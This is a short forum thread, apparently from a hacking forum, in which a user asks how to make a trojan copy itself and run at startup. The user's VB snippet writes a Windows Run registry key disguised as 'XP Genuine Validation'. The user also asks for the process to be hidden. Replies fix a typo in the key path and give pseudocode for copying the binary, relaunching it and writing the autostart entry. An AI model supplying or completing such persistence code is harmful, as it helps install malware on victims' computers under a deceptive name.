-
need help please!!!
hi to all
I want to make a copy of the server before it copies itself into the start-up, and it copies itself into the start-up (file name undefined)
is the code I use but it does not copy
Dim Startup
Set Startup = CreateObject("WScript.Shell")
Startup.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Ru n\XP Genuine Validation", App.Path & "\" & App.EXEName & ".exe"
:'(
and i want to make the process hidden and has not quit
thinks to all
-
dint understand what u wanted exactly but theres a space in the code
Code:
Startup.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Ru n\XP Genuine Validation", App.Path & "\" & App.EXEName & ".exe"
try remove the space b/w ru and n
-

Originally Posted by
~Fleck
dint understand what u wanted exactly but theres a space in the code
Code:
Startup.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Ru n\XP Genuine Validation", App.Path & "\" & App.EXEName & ".exe"
try remove the space b/w ru and n
this ( ru n ) it is error of the copy
-

Originally Posted by
mokhtarone
this ( ru n ) it is error of the copy

lol ok then that was a very simple bug ^^
-

Originally Posted by
~Fleck
lol ok then that was a very simple bug ^^
I want to copy the trojen ans make it in start'up :'(
-
Then you should:
Define DestinationFolder
Get CurrentFolder
If CurrentFolder <> DestinationFolder then
You Copy the binary to DestinationFolder
You launch the copy
You end the Current Process
Else
You write the AutostartupRegistry
end if
-
Thread Information
Users Browsing this Thread
There are currently 1 users browsing this thread. (0 members and 1 guests)
Posting Permissions
- You may not post new threads
- You may not post replies
- You may not post attachments
- You may not edit your posts
Forum Rules
All times are GMT +1. The time now is 21:43.
www.opensc.ws
Copyright ©2005 - 2012, OpenSC Forums
Search Engine Friendly URLs by vBSEO 3.6.0 ©2011, Crawlability, Inc.